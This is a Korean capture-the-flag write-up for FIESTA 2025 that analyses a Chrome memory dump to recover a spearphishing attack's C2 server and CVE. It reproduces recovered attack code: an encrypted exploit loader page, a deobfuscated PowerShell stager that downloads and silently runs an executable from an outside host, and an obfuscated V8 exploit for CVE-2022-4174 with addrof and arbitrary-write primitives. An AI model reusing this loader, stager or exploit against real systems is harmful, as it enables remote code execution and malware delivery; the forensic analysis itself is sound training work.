- Published on
FIESTA 2025 Writeup
Scenario 2-1
Explain
문제 시나리오
2025년 2월, 국내 대형 증권사 E사의 DMA(Direct Market Access) 시스템에서 비정상적인 주문 지연과 데이터 유출 징후가 포착되었습니다.
금융보안원 조사 결과, 공격자는 E사 리서치팀 애널리스트를 대상으로 한 스피어피싱으로 초기 침투에 성공했습니다.
애널리스트는 취약한 버전의 Chrome을 사용하고 있었으며 이로 인해 원격 코드 실행이 발생하였습니다.
공격자는 내부망 이동을 통해 DMA 시스템 서버에 접근한 후, eBPF 기반 루트킷을 설치하여 FIX 프로토콜 메시지를 실시간으로 가로챘습니다.
3개월간 주요 기관투자자의 주문 정보가 유출되어 선행매매에 악용되었으며, 모든 악성 활동은 커널 레벨에서 은닉되어 기존 보안 솔루션을 우회했습니다.
문제 지문
제공된 애널리스트 chrome의 메모리 덤프에서 초기 침투에 사용된 공격을 찾아 분석하시오.
해당 공격이 2차 페이로드를 다운로드하기 위해 접속하는 C2 서버의 IP 주소, 포트와 초기 침투에 사용된 취약점 CVE넘버를 추출하시오.
Concept
이 문제는 Chrome Exploit을 당한 사람의 chrome memory dump를 분석하여 당한 공격과 공격자의 C2서버 주소/포트를 알아내는 문제이다.
Chrome Exploit에 대한 기본적인 이해와 dump 파일을 끈질기게 볼 수 있는 인내력을 요하는 문제였다...
Exploit
기본적으로 받은 메모리 덤프 파일인 chrome.exe.dmp 파일을 분석해야 하는데, 메모리 덤프를 분석하는 여러가지 방법들 중 가장 쉬운 방법은 strings 명령어를 이용하는 방법이 있다.
strings chrome.exe.dmp > string.txt 명령어를 통해 메모리 상에 아직 덮어씌여지지 않은 문자열을 추출하여 분석을 해 보았다.
Chrome browser exploit을 진행하였다는 것은, 일반적으로 JS 렌더러인 v8 엔진의 취약점을 트리거해 OOB 등을 통해 메모리를 터뜨려서 진행을 한다. 따라서 <script> tag 등을 이용하여 v8 엔진을 노렸을 가능성이 높다. 따라서 strings를 이용하여 문자열을 검색한 뒤, <script> 태그가 사용된 HTML 파일을 찾으면 된다고 생각하였다.
그러던 중 발견한 매우 수상한 HTML 파일이 있었다.
<script>
const requiredUA = "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36";
if (navigator.userAgent !== requiredUA) {
document.getElementById('status').innerHTML = 'Browser not supported';
throw new Error('Invalid browser');
}
const EC = elliptic.ec;
const ec = new EC('secp256k1');
const clientKey = ec.genKeyPair();
const clientPubKey = clientKey.getPublic('hex');
const t = Math.floor(Date.now() / 60000);
const h1 = CryptoJS.MD5('a7f8d9e2b4c6' + t).toString().substr(0, 12);
const h2 = CryptoJS.MD5('3f1a5b8c9d0e' + t).toString().substr(0, 12);
const h3 = CryptoJS.MD5('6e4f2a7b8c1d' + t).toString().substr(0, 12);
const h4 = CryptoJS.MD5('9c5e8f1a2b3d' + t).toString().substr(0, 12);
fetch('/' + h1 + h2 + h3 + h4, {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'User-Agent': requiredUA
},
body: JSON.stringify({
client_pub_key: clientPubKey,
timestamp: Date.now()
})
})
.then(response => response.json())
.then(data => {
if (!data.server_pub_key || !data.session_id) {
throw new Error('Invalid server response');
}
const serverPubKey = ec.keyFromPublic(data.server_pub_key, 'hex');
const sharedSecret = clientKey.derive(serverPubKey.getPublic());
const sharedSecretHex = sharedSecret.toString(16);
const sharedSecretBytes = CryptoJS.enc.Hex.parse(sharedSecretHex);
const sharedKey = CryptoJS.SHA256(sharedSecretBytes).toString();
document.getElementById('status').innerHTML = 'Handshake complete, loading exploit...';
const t2 = Math.floor(Date.now() / 60000);
const p1 = CryptoJS.MD5('e8a2f4b7c9d1' + t2).toString().substr(0, 12);
const p2 = CryptoJS.MD5('5f3e8a9b2c4d' + t2).toString().substr(0, 12);
const p3 = CryptoJS.MD5('7b1f4e8a5c9d' + t2).toString().substr(0, 12);
const p4 = CryptoJS.MD5('2a6f9e3b8c1d' + t2).toString().substr(0, 12);
return fetch('/' + p1 + p2 + p3 + p4, {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'User-Agent': requiredUA
},
body: JSON.stringify({
session_id: data.session_id,
challenge: data.challenge
})
})
.then(response => response.json())
.then(exploitData => {
try {
const decrypted = CryptoJS.AES.decrypt(
exploitData.data,
CryptoJS.enc.Hex.parse(sharedKey),
{
iv: CryptoJS.enc.Hex.parse(exploitData.key),
mode: CryptoJS.mode.CBC,
padding: CryptoJS.pad.Pkcs7
}
);
const exploitHTML = decrypted.toString(CryptoJS.enc.Utf8);
if (!exploitHTML) {
throw new Error('Decryption failed - empty result');
}
const hash = CryptoJS.SHA256(exploitHTML).toString();
if (hash !== exploitData.verify) {
throw new Error('Integrity check failed');
}
document.getElementById('status').innerHTML = 'Executing...';
document.open();
document.write(exploitHTML);
document.close();
} catch (error) {
throw new Error('Decryption error: ' + error.message);
}
});
})
.catch(error => {
document.getElementById('status').innerHTML = 'Error: ' + error.message;
});
setInterval(() => {
const start = performance.now();
debugger;
const end = performance.now();
if (end - start > 100) {
document.body.innerHTML = '';
window.location = 'about:blank';
}
}, 1000);
</script>
특정 사이트에 접속을 하여 위와 같은 HTML 파일을 받았고, 다른 사이트와 통신을 하여 1차적인 공격 payload를 받아와서 innerHTML을 통해 공격 코드를 로드 및 실행하는 것으로 보인다.
const t2 = Math.floor(Date.now() / 60000);
const p1 = CryptoJS.MD5('e8a2f4b7c9d1' + t2).toString().substr(0, 12);
const p2 = CryptoJS.MD5('5f3e8a9b2c4d' + t2).toString().substr(0, 12);
const p3 = CryptoJS.MD5('7b1f4e8a5c9d' + t2).toString().substr(0, 12);
const p4 = CryptoJS.MD5('2a6f9e3b8c1d' + t2).toString().substr(0, 12);
return fetch('/' + p1 + p2 + p3 + p4, {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'User-Agent': requiredUA
},
body: JSON.stringify({
session_id: data.session_id,
challenge: data.challenge
})
})
.then(response => response.json())
.then(exploitData => {
try {
const decrypted = CryptoJS.AES.decrypt(
exploitData.data,
CryptoJS.enc.Hex.parse(sharedKey),
{
iv: CryptoJS.enc.Hex.parse(exploitData.key),
mode: CryptoJS.mode.CBC,
padding: CryptoJS.pad.Pkcs7
}
);
const exploitHTML = decrypted.toString(CryptoJS.enc.Utf8);
...
이 부분의 코드를 보면 알 수 있듯이 /[0-9a-f]{48} 위치에 접속하여 받아온 json 값을 이용해 키 교환 및 암호화된 exploit 코드를 받아온다. exploitData.data 및 explotData.key를 가져오는 것을 확인할 수 있으므로, key와 data 라는 이름의 key를 가진 json response가 메모리 덤프 어딘가에 남아있지 않을까라는 생각을 하였다.
C2 server info
이러한 필드가 존재하는 json이 존재했는데, 다음과 같았다.
"encrypted_c2":
{
"data":"7L2AM0kZwb5psMmJlzuFCBpQLBWk/fDZr6hwPpAKrLf3OjBgcNBJafOhiBpshb/T4GSFI9m3t4/cAB4LNeYBBg==",
"iv":"M5BS3aRtDlxH3dvlsITTeQ=="
},
"powershell_command":"powershell.exe -EncodedCommand JABmAHIAYQBnAG0AZQBuAHQAcwAgAD0AIABAACgAJwAkAGM...
powershell_command가 존재하지만 해당 command를 사용하는 부분이 딱히 위 HTML 파일에 보이지 않은 것으로 보아, 암호화를 푼 뒤의 exploitHTML에서 v8 exploit과 함께 RCE를 터뜨리고, powershell_command를 실행할 것이라고 생각하였다.
그래서 일단 제일 먼저 했던 것은 base64 encode 되어있는 해당 command를 복호화 하는 것이었다. base64나 char 등으로 몇 겹 정도 복호화/난독화가 걸렸는데, 이를 모두 풀어버리면 다음과 같다.
try{
if((Get-Date) -gt [datetime]"2025-09-25"){exit}
$dips=@("8.8.8.8","1.1.1.1","208.67.222.222","76.76.19.19","185.228.168.9")
foreach($dip in $dips){
try{
$dt=New-Object System.Net.Sockets.TcpClient
$dt.ReceiveTimeout=50
$dt.Connect($dip,53)
$dt.Close()
}catch{}
}
$encryptedData="7L2AM0kZwb5psMmJlzuFCBpQLBWk/fDZr6hwPpAKrLf3OjBgcNBJafOhiBpshb/T4GSFI9m3t4/cAB4LNeYBBg=="
$ivData="M5BS3aRtDlxH3dvlsITTeQ=="
$challenge="zAYMq8eE2tMeMk/IQ08ulQ=="
$timestamp="1758581423740"
try {
$e=[System.Convert]::FromBase64String($encryptedData)
$i=[System.Convert]::FromBase64String($ivData)
$m="52091cd540b6ef0e1fc82fa5c18f2e9561865412314eaeabf91ccbf2b4754466"
$s=$m+$challenge+$timestamp
$sk=[System.Security.Cryptography.SHA256]::Create().ComputeHash([System.Text.Encoding]::UTF8.GetBytes($s))
$a=New-Object System.Security.Cryptography.AesCryptoServiceProvider
$a.Key=$sk
$a.IV=$i
$a.Mode=[System.Security.Cryptography.CipherMode]::CBC
$a.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7
$d=$a.CreateDecryptor()
$x=$d.TransformFinalBlock($e,0,$e.Length)
$d.Dispose()
$j=[System.Text.Encoding]::UTF8.GetString($x)
$z=$j|ConvertFrom-Json
$n=New-Object System.Net.Sockets.TcpClient
$n.ReceiveTimeout=30000
$n.SendTimeout=30000
$n.Connect($z.ip,$z.port)
$o=$n.GetStream()
$o.ReadTimeout=30000
$o.WriteTimeout=30000
$q=[System.Text.Encoding]::UTF8.GetBytes("GET payload")
$o.Write($q,0,$q.Length)
$o.Flush()
$f=New-Object byte[] 8192
$g=@()
$totalBytes=0
$lastReadTime=[DateTime]::Now
$timeoutSeconds=60
while($true){
try{
$l=$o.Read($f,0,$f.Length)
if($l -gt 0){
$g+=$f[0..($l-1)]
$totalBytes+=$l
$lastReadTime=[DateTime]::Now
}else{
if(([DateTime]::Now - $lastReadTime).TotalSeconds -gt $timeoutSeconds){
break
}
Start-Sleep -Milliseconds 100
}
}catch{
break
}
}
$o.Close()
$n.Close()
$a.Dispose()
if($g.Length -gt 0){
$paths = @("$env:TEMP\stager.exe", "$env:USERPROFILE\stager.exe", "C:\windows\temp\stager.exe")
$executed = $false
foreach($path in $paths) {
try {
[System.IO.File]::WriteAllBytes($path,$g)
if (Test-Path $path -and (Get-Item $path).Length -gt 0) {
$psi = New-Object System.Diagnostics.ProcessStartInfo
$psi.FileName = $path
$psi.WindowStyle = [System.Diagnostics.ProcessWindowStyle]::Hidden
$psi.CreateNoWindow = $true
$psi.UseShellExecute = $false
$psi.RedirectStandardOutput = $false
$psi.RedirectStandardError = $false
$proc = [System.Diagnostics.Process]::Start($psi)
if ($proc) {
$executed = $true
break
}
}
} catch {
continue
}
}
if (-not $executed) {
foreach($path in $paths) {
try {
if (Test-Path $path -and (Get-Item $path).Length -gt 0) {
Start-Process -FilePath $path -WindowStyle Hidden -NoNewWindow
break
}
} catch {
continue
}
}
}
}
}} catch {
}
AES로 암호화된 C2서버의 IP 주소와 포트를 복호화하여 2차 공격 코드를 로드하는 부분이었다.
import base64
import hashlib
import json
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
# 1. PowerShell 스크립트에서 값들을 그대로 가져옵니다.
encrypted_data_b64 = "7L2AM0kZwb5psMmJlzuFCBpQLBWk/fDZr6hwPpAKrLf3OjBgcNBJafOhiBpshb/T4GSFI9m3t4/cAB4LNeYBBg=="
iv_data_b64 = "M5BS3aRtDlxH3dvlsITTeQ=="
challenge_b64 = "zAYMq8eE2tMeMk/IQ08ulQ=="
timestamp = "1758581423740"
master_key = "52091cd540b6ef0e1fc82fa5c18f2e9561865412314eaeabf91ccbf2b4754466"
def decrypt_c2_info():
"""
PowerShell 스크립트의 로직에 따라 C2 서버 정보를 복호화합니다.
"""
try:
# 2. 복호화 키(Key) 생성
# 마스터키 + 챌린지(Base64) + 타임스탬프 문자열을 합친 후 SHA256 해시를 계산합니다.
key_string = master_key + challenge_b64 + timestamp
decryption_key = hashlib.sha256(key_string.encode('utf-8')).digest()
# 3. 데이터 준비
# 암호문과 IV(초기화 벡터)를 Base64 디코딩합니다.
ciphertext = base64.b64decode(encrypted_data_b64)
iv = base64.b64decode(iv_data_b64)
# 4. AES-CBC 복호화 수행
cipher = AES.new(decryption_key, AES.MODE_CBC, iv)
decrypted_padded = cipher.decrypt(ciphertext)
# 5. PKCS7 패딩 제거 및 결과 파싱
# 복호화된 데이터에서 패딩을 제거하고, UTF-8 문자열로 변환합니다.
decrypted_data = unpad(decrypted_padded, AES.block_size)
json_string = decrypted_data.decode('utf-8')
# JSON 형식의 문자열을 파이썬 객체로 변환합니다.
c2_info = json.loads(json_string)
return c2_info
except Exception as e:
return f"복호화 중 오류 발생: {e}"
# --- 스크립트 실행 ---
if __name__ == "__main__":
# PyCryptodome 라이브러리가 필요합니다.
# 터미널에서 'pip install pycryptodome' 명령어로 설치할 수 있습니다.
c2_server_info = decrypt_c2_info()
print("--- C2 서버 정보 복호화 결과 ---")
if isinstance(c2_server_info, dict):
print(f" IP 주소: {c2_server_info.get('ip')}")
print(f" 포트 번호: {c2_server_info.get('port')}")
else:
print(c2_server_info)
Gemini가 짜준 코드로 가볍게 복호화를 하면 다음과 같은 결과를 얻을 수 있다.
--- C2 서버 정보 복호화 결과 ---
IP 주소: 54.221.70.201
포트 번호: 22047
CVE no.
이제 C2 서버의 IP 주소와 포트 번호를 알았으니 어떤 chrome CVE를 사용했는지만 찾아내면 문제가 풀린다.
아까 <script> 태그를 찾다가 다른 수상한 파일을 여럿 발견했는데, 결론적으로는 그 파일 중에 chrome exploit 코드가 존재했다. 다만 해당 코드는 난독화가 진행되어 함수명을 다 날리고 dummy 코드들이 마구마구 삽입되어있었다.
중요한 부분만 골라서 보면 다음과 같다.(중요한 부분은 직접 찾아야 한다...)
let wasm_module = new window.WebAssembly.Module(_RQYLMBMu);
let wasm_instance = new window.WebAssembly.Instance(wasm_module);
let wasm_main = wasm_instance.exports.main;
function _sBRkKsihR() {
let _DVAquXjgP;
function _XhHwYxX(v4) {
v4(() => {}, _MtKzNWxfM => {
_DVAquXjgP = _MtKzNWxfM.errors
})
}
_XhHwYxX.resolve = function(_zEEyigkiu) {
return _zEEyigkiu
};
let _TZRSRKm = {
then(v7, v8) {
v8()
}
};
window.Promise.any.call(_XhHwYxX, [_TZRSRKm]);
return _DVAquXjgP[(1 | 256) & (1 << 8) - 1]
}
function _xzDBBarWg() {
var _qYSuQoX = ~~(window.Math.random() * 1000) ^ 23773;
_HasCEvElv._LPeHtAMcF = _sBRkKsihR();
let _LPeHtAMcF = _sBRkKsihR();
var oob_array = new window.Map;
oob_array.set("kiprey", 8);
oob_array.set(_LPeHtAMcF, 8);
var _TTgwNGd = ~~(window.Math.random() * 1000) ^ 52407;
oob_array.delete(_LPeHtAMcF);
oob_array.delete(_LPeHtAMcF);
if (window.Math.random() > 2) {
var _WtKfZJ = function() {
return window.Math.floor(window.Math.random() * 16777215).toString(16)
};
_WtKfZJ()
}
oob_array.delete("kiprey");
switch (false) {
case true:
var _aSIZVIOl = "_joEHvF";
break;
default:
break
}
oob_array.set(24, "kiprey");
var _OuqLXZZH = new window.Array(1);
var _UTZmEhqQx = [];
_UTZmEhqQx.push(1.1);
var _OoWFlMpXc = {
"tag": 57005,
"leak": 4608 + 52
};
let _XoeEJQ = [1.1, 1.2, 1.3, 1.4];
oob_array.set("1", "kiprey");
function addrof(obj) {
_OoWFlMpXc.leak = obj;
let _yUwWwjom = ftoi(_UTZmEhqQx[(19 | 256) & (1 << 8) - 1]) & 0xffffffffn;
var _txkGqYeE = [1, 2, 3, 4, 5].filter(function(x) {
return x > 10
});
_OoWFlMpXc.leak = 4608 + 52;
return _yUwWwjom
}
function _FAbOQo(v1) {
let _nAAZxTP = _UTZmEhqQx[34 + 40 - 40];
_UTZmEhqQx[34 + 8 - 8 + (2 - 2)] = itof(0x8n << 32n | v1 - 0x8n);
let _OvbkPfb = ftoi(_XoeEJQ[0 / 5]) & 0xffffffffn;
_UTZmEhqQx[34 + 3 - 3 + (1 - 1)] = _nAAZxTP;
try {} catch (e) {}
return _OvbkPfb
}
function mem_write(v1, v2) {
let _DgtNLkB = _UTZmEhqQx[(34 | 256) & (1 << 8) - 1];
_UTZmEhqQx[34] = itof(0x8n << 32n | v1 - 0x8n);
_XoeEJQ[0 + 9 - 9] = itof(v2);
switch (false) {
case true:
var _fSCSEsS = "_FPMhRT";
break;
default:
break
}
_UTZmEhqQx[34] = _DgtNLkB
}
let _AGHIETUxj = addrof(wasm_instance);
let _JxlkDSjI = _FAbOQo(_AGHIETUxj + 0x40n);
var _LfUSpPXE = new window.ArrayBuffer(1048576);
var _jAcVDXBiM = new window.DataView(_LfUSpPXE);
var _WwLAabfl = addrof(_LfUSpPXE);
var _BucqSkYi = _WwLAabfl + 0x10n;
var _mGaNFzN = _FAbOQo(_BucqSkYi);
mem_write(_BucqSkYi, _JxlkDSjI);
var _ZzldRRski = new window.ArrayBuffer(_HViWRAcJ.length + 1);
var _jsrMEpB = new window.Uint8Array(_ZzldRRski);
for (let _mEqkmH = 0; _mEqkmH < _HViWRAcJ.length; _mEqkmH++) {
_jsrMEpB[_mEqkmH] = _HViWRAcJ.charCodeAt(_mEqkmH) & 127
}
_jsrMEpB[_HViWRAcJ.length] = 0;
alert(2);
var _uIZeaEOPJ = new window.DataView(_ZzldRRski);
var _WUEkmaz = addrof(_uIZeaEOPJ);
var _nVikAtUS = _FAbOQo(_WUEkmaz + 0x18n);
try {} catch (e) {}
alert(3);
_NfpZjz[135 + 22 - 22] = window.Number(_nVikAtUS) & (1 << 8) - 1;
_NfpZjz[136 ^ 86 ^ 86] = window.Number(_nVikAtUS) >>> 8 & (1 << 8) - 1;
try {} catch (e) {}
_NfpZjz[137 + 5 - 5 + (8 - 8)] = window.Number(_nVikAtUS) >>> 16 & (1 << 8) - 1;
_NfpZjz[(138 | 256) & (1 << 8) - 1] = window.Number(_nVikAtUS) >>> 24 & (1 << 8) - 1;
alert(1);
for (let _mEqkmH = 0; _mEqkmH < _NfpZjz.length; _mEqkmH++) {
var _VsqmcjAbf = [1, 2, 3, 4, 5].filter(function(x) {
return x > 10
});
_jAcVDXBiM.setUint8(_mEqkmH, _NfpZjz[_mEqkmH], false)
}
wasm_main()
}
함수 이름은 내가 임의로 수정한 것이 있어 실제 메모리에 남아있는 것과는 조금 다를 수 있다.
하여튼 wasm module을 사용하는 것으로 미루어 보아 chrome exploit 후 RCE를 하는 부분이라고 의심해 볼 수 있다.
일반적으로 chrome exploit은 OOB 터뜨리기 -> memory addr leak -> arbitrary write/read -> wasm으로 RCE의 순서로 진행된다. 주소를 읽는 것으로 추정되는 addrof() 함수의 흐름을 추적해보면, _sBRkKsihR()의 리턴값을 사용하는 것을 확인할 수 있고, 이를 바탕으로 _sBRkKsihR() 함수가 chrome의 bug를 트리거하는 역할임을 추정할 수 있다.
window.Promise.any.call() 함수가 사용되는 것을 바탕으로, chrome exploit Promise.any.call()을 검색하였고, 다음과 같은 리포트를 찾을 수 있었다.
https://issues.chromium.org/issues/40061500
해당 리포트의 poc.js 및 exp.js를 확인한 결과 위 js와 거의 유사한 것을 확인할 수 있었다.
따라서 CVE-2022-4174임을 알 수 있었고, flag를 획득할 수 있었다.
flag : fiesta{CVE-2022-4174_54.221.70.201_22047}